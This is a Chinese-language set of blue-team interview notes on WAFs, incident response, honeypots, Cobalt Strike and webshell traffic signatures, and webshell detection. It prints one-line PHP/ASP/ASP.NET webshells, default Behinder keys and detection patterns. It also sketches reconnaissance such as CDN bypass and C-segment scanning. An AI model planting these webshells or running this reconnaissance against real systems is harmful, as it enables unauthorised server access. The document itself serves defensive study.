存储过程注入防护:对 SQL 注入进行防护。WAF 可以检测并拦截具有攻击意图的 SQL 语句,并对其进行相应的修复和防护。

跨站脚本(XSS)防护:WAF 可以检测并过滤包含恶意 JavaScript 代码的请求,并防止 XSS 攻击。

防止文件上传漏洞:WAF 可以检测并拦截包含恶意文件的请求,从而避免文件上传漏洞导致的攻击。

总之,WAF 产品可以有效地保护 Web 应用程序免受各种类型的攻击。但是需要注意的是,WAF 并不是万能的,仍然需要结合其他安全措施来保障 Web 应用程序的安全。

应急响应基本流程

  • 首先通过分析报警,流量分析,日志来收集所发生事故的信息,判断是什么病毒什么样的事故

  • 按优先级别给事故分级

  • 然后抑制攻击范围,阻止受害面扩大,封ip、联系厂商能否下线、关系统

  • 检查启动项 服务 进程 敏感文件 违规账号 结合everything 看新增加的文件新更改的文件

  • 放到设备里扫一下有没有后门 修补漏洞 打补丁 增加安全策略

  • 恢复业务系统

  • 溯源

  • 写报告

了解安全设备

  • 入侵防御系统IPS

是计算机网络安全设施,是对防病毒软件和防火墙的补充。入侵预防系统是一部能够监视网络或网络设备的网络数据传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络数据传输行为。

  • 入侵检测系统IDS

积极主动的防护措施,按照一定的安全策略,通过软件,硬件对网络,系统的运行进行实时的监控,尽可能地发现网络攻击行为,积极主动的处理攻击,保证网络资源的机密性,完整性和可用性。

  • 防火墙

防火墙是位于两个(或多个)网络间,实行网络间访问或控制的一组组件集合之硬件或软件。隔离网络,制定出不同区域之间的访问控制策略来控制不同信任程度区域间传送的数据流。

  • 数据库审计系统

是对数据库访问行为进行监管的系统,通过镜像或者探针的方式采集所有数据库的访问流量,并基于SQL语法,语义的解析技术,记录下对数据库所有访问和操作行为,例如访问数据的用户IP,账号,时间等等,对数据进行操作的行为等等。

  • 日志审计系统

日志审计系统能够通过主被动结合的手段,实时且不间断的采集用户网络中不同厂商的安全设备,网络设备,主机,操作系统以及各种应用系统产生的海量日志信息,并将这些信息汇集到审计中心,进行集中化存储,备份,查询,审计,告警,响应,并出具丰富的报表报告,获悉全网的整体安全运行态势,同时满足等保关于安全管理中心的日志保存时间大于6个月的要求。

  • 堡垒机

是针对内部运维人员的运维安全审计系统。主要功能是对运维人员的运维操作进行审计和权限控制(比如要登录某些平台或者系统只能通过堡垒机才可以,不用堡垒机是无法访问的)。同时堡垒机还有账号集中管理,单点登录(在堡垒机上登录即可实现对多个其他平台的无密登录)等功能。

  • 漏洞扫描系统

漏洞扫描工具或者设备是基于漏洞数据库,通过扫描等手段对指定的远程或本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测系统(我们常用的针对WEB站点进行扫描的工具和此处漏洞扫描系统不是一个概念)。

  • 数据安全态势感知平台

以大数据平台为基础,通过收集多元,异构的海量日志,利用关联分析,机器学习,威胁情报,可视化等技术,帮助用户持续监测网络安全态势,实现从被动防御向积极防御的进阶。

  • 终端安全管理系统

是集防病毒,终端安全管控,终端准入,终端审计,外设管控,EDR等功能于一体,兼容不同操作系统和计算机平台,帮助客户实现平台一体化,功能一体化,数据一体化的终端安全立体防护。

  • WAF

WAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。产品主要部署在网站服务器的前方。通过特征提取和分块检索技术进行模式匹配来达到过滤,分析,校验网络请求包的目的,在保证正常网络应用功能的同时,隔绝或者阻断无效或者非法的攻击请求。

  • 蜜罐

蜜罐是一种安全威胁的主动防御技术,它通过模拟一个或多个易受攻击的主机或服务来吸引攻击者,捕获攻击流量与样本,发现网络威胁,提取威胁特征,蜜罐的价值在于被探测,攻陷。

使用过哪些安全设备?

在这里插入图片描述

态势感知产品

  • 360态势感知:由中国著名安全厂商360推出的产品,主要提供网络威胁查询、漏洞扫描、流量分析等功能,同时集成了各种安全情报和指标,可以为用户提供全面的安全态势分析和预警服务。

  • 腾讯云安全大脑:由腾讯云推出的产品,利用AI、机器学习等技术对攻击进行实时监测和分析,提供包括漏洞扫描、风险评估、异常检测等一系列安全服务。

  • 云锁事件响应中心:由阿里云推出的产品,提供网络空间威胁和安全事件的监测、预警、应急响应等服务。该产品采用 AI算法进行态势感知,并可以自动化响应安全事故。

  • 北京赛迪态势感知系统:由北京赛迪安全科技股份有限公司开发的产品,支持网络威胁情报搜集、风险事件自动识别、威胁行为关联分析等功能,可为企业提供全生命周期的网络安全保护。

  • 启明星辰安全态势感知:由启明星辰推出的产品,提供整体安全态势感知、针对性攻击检测、应急响应等功能,可帮助用户实现从被动防御到主动防御的转变。

这些产品都采用了先进的机器学习和人工智能技术,可以自动化地分析和识别网络威胁,并及时发出预警或者采取应急措施。同时,这些产品还具备可视化的操作界面,用户可以通过简单的操作就可以了解整个系统的安全情况,并做出相应的决策。

蜜罐

蜜罐是一种安全资源,其价值在于被扫描、攻击和攻陷。 结合蜜罐的发展来看,我们可以总结出蜜罐的主要作用是:欺骗黑客,诱导攻击,捕获攻击。除此之外,蜜罐在一定程度上也有保护真实业务、延缓攻击的作用。

  1. 按照用途 按照不同用途,蜜罐可分为:生产蜜罐、研究蜜罐。

    1. 生产蜜罐 用于捕获生产环境中的攻击,保护生产环境,主要由公司使用。生产蜜罐被组织放置在生产网络内与其他生产服务器一起,以改善其整体安全状态。通常生产蜜罐是低交互、中交互蜜罐,易于部署。

    2. 研究蜜罐 主要用于研究活动,如,如何吸引攻击、搜集信息、探测新型攻击等,以及了解黑客和黑客团体背景、目的和活动规律等。因此,研究型蜜罐对于编写新的入侵检测规则、发现系统漏洞等是很有价值的。

  2. 按照交互程度 欺骗伪装成功的关键在于蜜罐的真实度,交互程度越高,蜜罐看上去越是真实,作用往往越大。 按照不同交互程度,蜜罐可分为:低交互蜜罐、中交互蜜罐、高交互蜜罐。

    1. 低交互蜜罐 一般,通过模拟服务主要特征功能,限制黑客在指定的范围内动作,仅允许少量交互。例如,蜜罐在特定端口上监听,并记录所有进出流量数据,可用于检测非法扫描和连接等。 大多数企业都会模拟TCP和IP等协议,这使得攻击者认为他们正在连接到某个真实系统而不是蜜罐环境。 低交互蜜罐可能不够有效,容易被攻击者识破,而且它不足以捕获复杂的威胁,如0day攻击。但是,低交互蜜罐易于部署,维护成本低,也相对安全,不允许访问真正的系统服务。

    2. 中交互蜜罐 中交互蜜罐提供了更多的交互信息,但还是没有提供一个真实的操作系统或服务。通过这种较高程度的交互,更复杂些的攻击手段可以被记录和分析。中交互蜜罐是对真正的操作系统或服务的各种行为的模拟,在这个模拟行为的系统中,用户可以进行各种随心所欲的配置,让蜜罐看起来和一个真正的操作系统没有区别。 从开发成本、维护成本、安全等综合因素考虑,项目中使用最多的一般是中交互蜜罐。

    3. 高交互蜜罐 高交互蜜罐不是简单的模拟,通常提供的是一个真实的操作系统或服务。高交互蜜罐使得蜜罐被识破的概率大大降低,吸引攻击者攻击的程度也大大提高。但同时,危险性也随之增大,黑客攻入系统的目的之一就是获取root权限,一个高交互级别的蜜罐刚好提供了这样的环境。 高交互蜜罐作用大、风险高,一定要做好网络隔离,避免蜜罐被攻陷后,成为黑客攻击同网络中其他主机的跳板机。

  3. 按照实现方式 按照实现方式不同,蜜罐可以分为:真实服务蜜罐、模拟服务蜜罐。

    1. 真实服务蜜罐 类似高交互系统蜜罐,往往是一台真实的物理主机或虚拟机,是一个具有独立 ip 的真实系统,我们把这样的基于真实服务制作而成的蜜罐称为:真实服务蜜罐。

    2. 虚拟服务蜜罐 低交互、中交互蜜罐这种,通过代码实现,模拟真实服务部分功能的蜜罐,我们称之为:模拟服务蜜罐。

  4. 按照是否收费 按照是否收费,蜜罐可以分为:开源蜜罐、商业蜜罐。

    1. 开源蜜罐 由可爱、帅气的业内专家开发,免费分享、开放源码,提供给大家使用、学习的蜜罐,称之为:开源蜜罐。 开源蜜罐的开发,通常没有一个完整的软件生命周期管理,能实现功能就成,开发周期也相对较慢,无法和商业蜜罐产品相比。

    2. 商业蜜罐 专业团队开发、专业公司运营,以赚钱为主要目的的收费蜜罐,称之为:商业蜜罐。

防火墙设备

常见的 HW 设备有:公安部网防G01、K01、360网康/网神防火墙、微步威胁情报、安恒云-Web应用防火墙(玄武盾)、默安蜜罐、知道创宇蜜罐、山石防火墙 NGAF/NGFW:下一代 Web 应用防火墙(Next Generation Application Firewall,通防火墙和下一代防火墙的区别),聚合了以下功能

IDS HIDS:基于主机的入侵检测系统 NIDS:基于网络的入侵检测系统 HIDS+NIDS:基于混合数据源的入侵检测系统 IPS:入侵防御系统 AV:反病毒系统 EDR:主机安全管理\终端检测和响应

EDR 实时监测终端上发生的各类行为,采集终端运行状态,在后端通过大数据安全分析、机器学习、沙箱分析、行为分析、机器学习等技术,提供深度持续监控、威胁检测、高级威胁分析、调查取证、事件响应处置、追踪溯源等功能,可第一时间检测并发现恶意活动,包括已知和未知威胁,并快速智能地做出响应,全面赋予终端主动、积极的安全防御能力

简单来说就是给内网环境中所有主机安装管理软件终端,可以在管理平台集中管理和数据分析过滤,基本所有安全厂商都有自己的 EDR 产品

运维审计和管理平台(堡垒机)

DAS:数据库安全审计平台

LAS:日志审计安全平台

AC:上网行为管理系统

伪装欺骗系统(蜜罐、蜜网)

SIP:安全态势感知平台

这个算是让整套系统性能得到提升的灵魂了,定位为客户的安全大脑,是一个集检测、可视、响应处置于一体的大数据安全分析平台。产品以大数据分析为核心,支持主流的安全设备、网络设备、操作系统等多源数据接入,利用大数据、关联分析、告警降噪等技术,实现海量数据的统一挖掘分析

CobaltStrike

简介

CobaltStrike是一款渗透测试工具,被业界人称为CS。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可用于团队分布式协同操作。

功能

CobaltStrike 集成了端口转发,服务扫描,自动化溢出,多模式端口监听,windows exe 木马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。钓鱼攻击等功能。

使用

一般使用步骤就是,先启动服务端,然后启动客户端连接获得一个可视化的界面,新建监听器来接收会话,生成木马文件(常见.exe可执行文件,office宏病毒,html应用程序类型的后门文件),上传到受害者主机,当受害者运行该木马文件时目标主机就在CS上线了。 对比正常的http流量,CS的http通信流量具有以下几个特征:

  • A. 心跳包特征

    • a) 间隔一定时间,均有通信,且流级上的上下行数据长度固定;

  • B. 域名/IP特征

    • a) 未走CDN、域前置的,域名及IP暴露

    • b) 走CDN、域前置的,真实IP会被隐藏;

  • C. 指令特征

    • a) 下发指令时,通过心跳包接收指令,这时,server端返回的包更长,甚至包含要加载的dll模块数据。

    • b) 指令执行完后,client端通过POST请求发送执行的结果数据,body部分通过加密和base64编码。

    • c) 不同指令,执行的时间间隔不一样,可以通过POST请求和GET请求的间隔进行判断。

  • D. 数据特征

    • a) 在请求的返回包中,通信数据均隐藏在jqeury*.js中。

常见webshell连接工具蚁剑、冰蟹、哥斯拉、菜刀流量特征?

菜刀

(最开始是明文传输,后来采用base64加密):PHP类WebShell链接流量

第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;

第二:(base64_decode($_POST[z0])),(base64_decode($_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是使用Base64编码,以避免被检测;

第三:&z0=QGluaV9zZXQ...,该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。

注:

1.有少数时候eval方法会被assert方法替代。

2.$_POST也会被$_GET$_REQUEST替代。

3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。

payload特征: PHP: <?php @eval($_POST['caidao']);?>

ASP: <%eval request(“caidao”)%>

ASP.NET: <%@ Page Language=“Jscript”%><%eval(Request.Item[“caidao”],“unsafe”);%>

数据包流量特征: 1,请求包中:ua头为百度,火狐 2,请求体中存在eavl,base64等特征字符 3,请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

蚁剑

(PHP用base64加密):

PHP类WebShell链接流量

将蚁剑的正文内容进行URL解码后,流量最中明显的特征为@ini_set("display_errors","0");这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现,同时蚁剑也有eval这种明显的特征。

蚁剑绕过特征流量

由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“0x.....=”这种形式(下划线可替换为其他)所以,以0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。

payload特征: Php中使用assert,eval执行, asp 使用eval 在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征

数据包流量特征: 使用普通的一句话都存在以下特征: 每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符 响应包的结果返回格式为: 随机数 响应内容 随机数

冰蝎

(AES对称加密):

通过HTTP请求特征检测

1、冰蝎数据包总是伴随着大量的content-type:application什么什么,无论GET还是POST,请求的http中,content-type为application/octet-stream;

2、冰蝎3.0内置的默认内置16个ua(user-agent)头

3、content-length 请求长度,对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload都为定长

paylaod分析: php在代码中同样会存在eval或assert等字符特征 在aps中会在for循环进行一段异或处理 在jsp中则利用java的反射,所以会存在ClassLoader,getClass().getClassLoader()等字符特征

冰蝎2.0

第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥 请求包存在:Accept: text/html, image/gif, image/jpeg, ; q=.2, */; q=.2* 建立连接后的cookie存在特征字符 所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;

冰蝎3.0

请求包中content-length 为5740或5720(可能会根据Java版本而改变) 每一个请求头中存在 Pragma: no-cache,Cache-Control: no-cache Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9

冰蝎4.0

1、Accept字段

流量特征 Accept: application/json, text/javascript, /; q=0.01

检测思路 浏览器可接受任何文件,但最倾向application/json和 text/javascript

规则

file_data的作用和http_server_body差不多,都是使content匹配response body中的内容,唯一不同的是使用了file_data关键字的规则,其在file_data之后的content都会受到它的影响。file_data之后的content都必须在response body里匹配。。

2、Content-Type

流量特征

Content-type: Application/x-www-form-urlencoded

检测思路

可以把这个字段作为一个弱特征,辅助其他特征来检测

3、User-agent 字段-

流量特征

冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用。

检测思路

在较短较简单的content字段后加上fast_pattern关键字则会优先匹配这个content。避免浪费太长时间在匹配user-agent上。

snort编写可以用content:“User-Agent”;content:“浏览器版本”。来匹配相应的十个浏览器。

4、端口

流量特征

冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右,每连接一次,每建立一次新的连接,端口就依次增加。

检测思路

可以对符合该范围内的端口告警。

5、PHP webshell 中存在固定代-码

流量特征

$post=Decrypt(file_get_contents("php://input"));

eval($post);

检测思路

content字段中,将eval($post)作为流量特征纳入。

6、长连接

流量特征

冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection。

Connection: Keep-Alive

检测思路

可以作为辅助的流量特征。

7、固定的请求头和响应头

流量特征

请求字节头:

dFAXQV1LORcHRQtLRlwMAhwFTAg/M

响应字节头:

TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

8、连接密码

流量特征:

默认时,所有冰蝎4.0 webshell都有“e45e329feb5d925b” 一串密钥。该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond

9、webshell特征

JSP webshell代码特征

图片

PHP webshell代码特征

图片

10、请求和响应

图片

图片

冰蝎连接时不用输入密码,根据对冰蝎的使用分析,冰蝎4.0可以在初始时自定义连接密码。

图片

要设置自定义密码,需要在本地和远程加解密函数中都保存$key。

这样的话,如果对方更换密码,初始字符串经过密钥加密,那么它的请求头和响应头都会发生变化,这就需要针对webshell中的$key动态改变解密函数才能得到解密后固定的请求头和响应头

另外,每次发起连接时都会发出两次http请求,默认连接密钥下,所有响应头都相同,第二次请求头比较特殊,初次之外,所有的请求头都相同。

第一次请求解密

dFAXQV1LORcHRQtLRlwMAhwFTAg/M

@error_reporting(0);\r

图片

第二次请求解密

OT8AQUBWFDoQUBRWQEELC1MdVRoJNGwDF1sHTVtaDEVZVAxdGh0RDQNBAU9X

error_reporting(0);\r

图片

哥斯拉(base64加密):

特征检测

1、发送一段固定代码(payload),http响应为空 2、发送一段固定代码(test),执行结果为固定内容 3、发送一段固定代码(getBacisInfo)

1.User-Agent (弱特征)

哥斯拉客户端使用JAVA语言编写,在默认的情况下,如果不修改User-Agent,User-Agent会类似于Java/1.8.0_121(具体什么版本取决于JDK环境版本)。但是哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。

2.Accept(弱特征)

Accept为text/html, image/gif, image/jpeg, *; q=.2, /; q=.2 对这个默认特征应该很熟悉了,之前冰蝎也出现过同样的Accept。为什么会这么巧合出现两个工具都会出现这个特征呢,其实这个也是JDK引入的一个特征,并不是作者自定义的Accept。同样的这个默认特征也可以通过自定义头部去除,只能作为默认情况下的辅助检测特征。

3.Cookie (强特征)

哥斯拉的作者应该还没有意识到,在请求包的Cookie中有一个非常致命的特征,最后的分号。标准的HTTP请求中最后一个Cookie的值是不应该出现;的,这个可以作为现阶段的一个辅助识别特征。后面如果作者意识到这个问题的话应该会发布新版本修复这个问题。

4.请求体特征 (较强特征)

因为无法准确识别加密的请求体,所以只能采用比较宽泛的匹配条件去匹配请求体特征,宽泛的匹配思路其实就是基于区别大部分正常的数据包,加密数据包自身体现的特征。这种宽泛的匹配在一些情况下可能会带来误报,因此有时候难以作为一种非常有效的检测手法。

哥斯拉支持对加密的数据进行base64编码以及原始的加密raw两种形式的通讯数据,对于请求体的检测也要考虑两种情况。 首先看一下base64编码的数据包,对于这种数据包唯一的识别方法就是识别流量中的base64编码。当然不能仅仅去识别数据包中存在base64编码就拦截,因为很多应用正常的参数也会采用base64编码加密。哥斯拉在进行初始化时会产生一个比较大的数据包,后面进行命令执行等操作时产生的base64数据包会比较比较小。在长度上做一个匹配条件在一定程度上也可以降低误报率。

对于原始加密raw请求体,没想到比较好的方法,目前只想到到了匹配较多的不可见字符的思路。同样的,这种检测方法也会产生误报,像一些对传输安全要求比较高的金融机构,不少应用也会实现一些加密的通讯流量。需要注意的是,在匹配不可见字符时,需要排除文件上传,也就是multipart/form-data数据包,因为文件上传的流量也会包含大量的不可见字符。

5.响应体特征 (强特征)

和请求体一样,请求响应体也分两个格式,base64编码的和原始加密raw数据。如果请求体采用base64编码,响应体返回的也是base64编码的数据。在使用base64编码时,响应体会出现一个很明显的固定特征。这个特征是客户端和服务端编写的时候引入的。

从代码可以看到会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

从响应数据包可以明显看到这个特征,检测时匹配这个特征可以达到比较高的检出率,同时也只可以结合前面的一些弱特征进行检查,进一步提高检出率。因为md5的字符集范围在只落在0123456789ABCDEF范围内,因此很容易去匹配,正则匹配类似于(?i:[0-9A-F]{16})[\w+/]{4,}=?=?(?i:[0-9A-F]{16})。需要注意的是md5需要同时匹配字母大小写两种情况,因为在JAVA版webshell响应中为大写字母,在PHP版中为小写字母。

应急常用目录与命令

应急的时候常看的Windows目录 hosts文件所在位置:C:\Windows\System32\drivers\etc\hosts 日志所在位置 计算机管理 --》事件查看器 --》 windows日志 定时任务查看 --- schtasks 启动项查看 ---msconfig --》启动

应急时候常使用的Windows命令 进程查看 ---tasklist 网络连接情况 ---netstat -ano 端口情况 --netstat 执行的服务查看 ---Services.msc

应急的时候常看的Linux目录 环境变量所在位置:etc/environment host文件所在位置 ---etc/hosts 日志所在位置 --- var/log 定时任务所在位置 --- etc/crontab 定时任务命令:列出定时任务:crontab -l ;编辑定时任务:crontab -e 启动项所在位置 ---etc/rc[0-6].d 这个表示的是不同运行级别(runlevel)执行的启动项命令不一样, 例如runlevel6表示的是重启,重启就会执行etc/rc6.d里面的任务

应急的时候常看Linux命令 进程查看 --- ps -aux 网络连接查看 --- netstat -s 端口查看 --- netstat -antp 服务查看 --- service

是否参加过护网

1、护网面试岗位监控岗、研判岗、应急和溯源岗位等。分为初级、中级、高级岗位。

2、根据甲方需求,分为 3 组:监测组、处置组、应急保障和溯源反制组。

3、监测组主要监测设备,监控判断不出来告警,交给研判,若确认未成功的真实攻击,提交ip和告警截图给处置组封禁ip,若需要应急,需提交给处置单给应急人员;

4、处置组,封禁ip以及甲方自有人员自有设备处置;

5、应急保障和溯源反制组,应急拿到处置单,先和处置组建群沟通,根据处置单,提出处置建议,让处置组操作或者客户授权后操作;溯源根据提供的攻击ip和钓鱼邮件进行溯源和反制

信息收集

信息收集什么?

  • 服务器:操作系统,IP,数据库类型

  • 网站:CMS,Web容器,CDN,旁站,C段信息

  • 域名:子域名,公司名称,注册人,社工信息

  • 具体站点:目录扫描,端口扫描,漏洞扫面

判断目标操作系统的方法

  • 大小写(Win大小写不敏感,Linux敏感)

  • ping命令:TTL值在默认情况下win是128,Linux是64.

  • nmap -O IP值:可以查出

怎么修改TTL值

安全加固中,需修改TTL。 在这里插入图片描述

怎么验证是否绕过CDN

怎么绕过CDN获取真实IP

  • 子域名查询:

  • 历史DNS解析:

  • 国外主机解析域名:

  • 网站漏洞:

  • 邮件信息:

  • SSL证书:

如何验证找到的IP为真实IP

直接访问IP,看看响应页面是否和访问的域名一样。

探查网站的CMS有什么意义?

  • 查找已曝光的漏洞。

  • 如果开源,还能下载相应的源码进行代码审计。

  • 根据CMS特征关联同CMS框架站点,进行敏感备份文件扫描,有可能获得站点备份文件。

旁站信息收集的意义和方法。

  • 旁站就是与目标网站处于同一服务器的不同网站,在目标网站无法攻陷的情况下,渗透旁站,拿到该服务器的最高权限就可将目标网站拿下。 方法

  • 站长工具输入IP值

  • bing搜索引擎查询(语法:ip:xxx.xxx.xxx.xxx)

  • 使用fofa(语法:ip=“xxx.xxx.xxx.xxx”)

C段主机信息收集的意义与方法

C段信息的收集的目的是获取与目标相关联的更多设备的信息(原理和旁站差不多) 方法:

  • nmap扫描C段主机:nmap -sn ip/24

  • 搜索引擎:site:xxx.xxx.xxx.*

  • webfinder

  • fofa: ip=“xxx.xxx.xxx.0/24”

子域名信息收集的意义与方法

原理与旁站,C段类似,主站攻不下,去搜索其子域名,可能防御没那么厉害。

数据包有哪些请求方式

常用八种请求方式,分别是 GET、POST、HEAD、PUT、DELETE、OPTIONS、TRACE、 CONNECT,get 和 post 最常用

get请求与post请求的区别

  • 数据传输位置:get在URL,POST不在url

  • 数据长度:get有上限,post无上限

  • 安全性:get有风险,post相对更安全

  • 语义:get请求通常用于获取或检索资源,不对服务器产生影响 post请求用于提交数据给服务器,会对服务器数据库产生影响

Webshell

定义:以asp、php、jsp或cgi等网页文件形式存在的一种命令执行环境,也可称作为一种网页后门。也称为脚本木马

危害:后门植入、系统提权控制、内网横向移动

检测方式:

  • 动态检测 往往会引起不确定性和安全风险,如影响主机运行时环境、引入沙箱、hook等

  • 静态检测 直接分析文件。本质是分类问题,关键在特征工程中的特征选择:

    • 文本特征:正则表达式检测法、通用统计特征检测法(熵、最长单词、重合指数、压缩比等维度)

    • 语法特征:基于抽象语法树进行分析、数据流特征检测法

常用的webshell检测工具?

  • D盾

  • 河马WEBSHELL

  • 百度WEBDIR+

  • WebShellDetector

  • SangforWebShellKill[深信服]

  • PHPMalwareFinder[支持Linux]

网站被上传webshell如何处理?

  • 1.首先关闭网站,下线服务。有必要的话将服务器断网隔离。

  • 2.手工结合工具进行检测。

    工具方面比如使用D盾webshellkill,河马webshell查杀,百度在线webshell查杀等工具对网站目录进行排查查杀,如果是在护网期间可以将样本备份再进行查杀。

    手工方面对比未上传webshell前的备份文件,从文件甚至代码层面进行对比,检查有无后门程序或者其他异常文件,实在不行就直接用备份文件替换了。

  • 3.加强安全策略,比如定期备份网站配置文件,及时安装服务器补丁,定期更新组件以及安全防护软件,定期修改密码等等措施。

webshell防御

1.建议用户通过ftp来上传、维护网页,尽量不安装asp的上传程序。

2.对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。

3.asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。

4.到正规网站下载程序,下载后要对数据库名称和存放路径进行修改,数据库名称要有一定复杂性。

5.要尽量保持程序是最新版本。

6.不要在网页上加注后台管理程序登陆页面的链接。

7.为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过上传即可。

8.要时常备份数据库等重要文件。

9.日常要多维护,并注意空间中是否有来历不明的asp文件。

10.尽量关闭网站搜索功能,利用外部搜索工具,以防爆出数据。

11.利用白名单上传文件,不在白名单内的一律禁止上传,上传目录权限遵循最小权限原则。

webshell分析思路

1.基于webshell特征检测 常见webshell函数

(1)存在系统调用的命令执行函数,如eval、system、cmd_shell、assert等;

(2)存在系统调用的文件操作函数,如fopen、fwrite、readdir等;

(3)存在数据库操作函数,调用系统自身的存储过程来连接数据库操作;

(4)具备很深的自身隐藏性、可伪装性,可长期潜伏到web源码中;

(5)衍生变种多,可通过自定义加解密函数、利用xor、字符串反转、压缩、截断重组等方法来绕过检测;

基于webshell工具特征的检测

webshell的访问特征

1)少量的IP对其发起访问

2)总的访问次数少

3)该页面属于孤立页面

对数据包或日志的分析思路?

用流量监测的安全设备,比如天眼,查看报文,分析报文里和 host 和网站目录路径,查看是否可疑,使用微步查询 host 是否为恶意,使用 wireshark 对数据包深度分析看一下请求的网站路径,源 IP 与目的 ip 地址,host 字段的值以及发包内容等。工具有 wearshark,网站的话微步在线。

如何区分扫描流量和手动流量?

扫描流量和手动流量的区别在于其产生的方式和行为特征,因此可以通过以下几种方法来查看区分它们:

  • 查看流量来源:扫描流量通常是由自动化工具或蠕虫病毒等程序生成的,因此其源 IP或者发起请求的主机通常不固定,而手动流量则来自人工操作的设备,其请求的 IP 地址和用户代理信息都会有所不同。

  • 检测流量频率和规律:扫描流量通常会呈现出周期性、规律性的访问行为,例如连续大量的 TCP SYN请求等。而手动流量则通常难以呈现出明显的规律和周期性。

  • 观察流量的请求路径和参数:扫描流量通常是为了探测系统漏洞和弱点而产生的,它们通常会对一些已知的 URL和参数进行大量的尝试,并使用一些特殊的 HTTP 头部信息。而手动流量则更加多样化,可能会包含更丰富的请求路径和参数。

  • 分析流量的响应状态码和长度:扫描流量通常会通过检测返回的状态码和页面长度等信息来判断目标是否存在漏洞或弱点。手动流量则通常会具有更加正常的响应状态码和页面长度。

总之,通过综合分析流量来源、访问规律、请求路径和参数以及响应状态码等特征,我们可以比较准确地区分扫描流量和手动流量,并采取相应的防御措施。

日志与流量分析?

日志和流量分析是网络安全领域中常用的两种技术。它们都可以帮助安全人员更好地了解系统的状态,检测和预防威胁。

日志分析是指对服务器、应用程序等产生的日志进行收集、存储、分析和处理,以便了解系统的运行状况和发现异常事件。通过对日志数据的统计和分析,可以追踪用户活动、系统错误、安全事件等,以及发现潜在的风险和漏洞。比如,通过分析登录日志可以检测到恶意登录尝试;通过分析访问日志可以了解网站的被攻击情况。

流量分析是指对网络流量进行收集、存储、分析和处理,以便了解网络连接的状态,检测和预防网络攻击。通过对流量数据的统计和分析,可以追踪网络通信、检测威胁和漏洞,比如检测恶意流量、DDoS攻击等。流量分析通常需要使用专业的工具和技术,包括网络协议分析、流量捕获和分析软件等。

综上所述,日志和流量分析是网络安全中非常重要的技术,它们可以帮助安全人员发现和解决潜在的安全问题,并维护系统和网络的正常运行。

权限维持和应急响应篇

怎么建立隐藏用户?

在这里插入图片描述

研判的思路?

  • 1.首先对攻击的来源进行判断,是内对内,外对内还是内对外的情况。

  • 2.依据设备的告警信息结合具体情况来分析攻击行为的类型,比如说告警SQL注入攻击,那我们就去查看一下请求数据包里面是否有单引号,SELECT等敏感字符,返回数据包里面是否有SQL语法报错等信息,有的话就可以初步判断该攻击行为是SQL注入攻击。

  • 3.然后就是根据攻击特征来分析攻击行为使用了什么技术或者说工具,比如说攻击的频率,数据包的信息等等。比如说在使用AWVS或者APPSCAN等工具在扫描的时候,很有可能在请求数据包的user-agent里面就有相关的信息。同样结合告警信息和具体情况来判断攻击行为的危害程度,比如说检测到多条攻击成功告警和内对内及内对外攻击告警,这个时候就需要尽快的交给应急组了。

  • 4.结合设备告警信息及具体情况分析攻击意图,比如说攻击者的目标是主站还是旁站,是主机还是域控,不同的攻击意图对于后续的处理也不同。

  • 5.最后根据我们掌握的信息采取相应的处置方式,比如说告警信息是误报,说明设备需要策略优化,不需要处置。告警信息是尝试攻击,暂时对资产没有影响,就需要后续持续关注,攻击成功时能够做到及时上报。如果告警确认不是误报,并且攻击成功时,我们就需要迅速上报及时采取应急响应。

应急响应的思路?

简单版:Linux入侵排查思路; 1账号安全,2历史命令,3检查异常端口,4检查异常进程,5检查开机启动项,6检查定时任务,7检查服务,8检查异常文件,9检查系统日志。 1 检查系统账号安全 2.检查异常端口、进程 3.检查启动项、计划任务、服务 4.日志分析 (1. 日志中搜索关键字:如:union,select等

  1. 分析状态码:

1xx information 200 successful 300 redirection 4xx client error 5xx server error 查找可疑文件,webshell 分析文件修改日期 系统日志分析)

  • 收集信息:收集客户信息和中毒主机信息,包括样本

  • 判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等

  • 抑制范围:隔离使受害⾯不继续扩⼤

  • 深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源

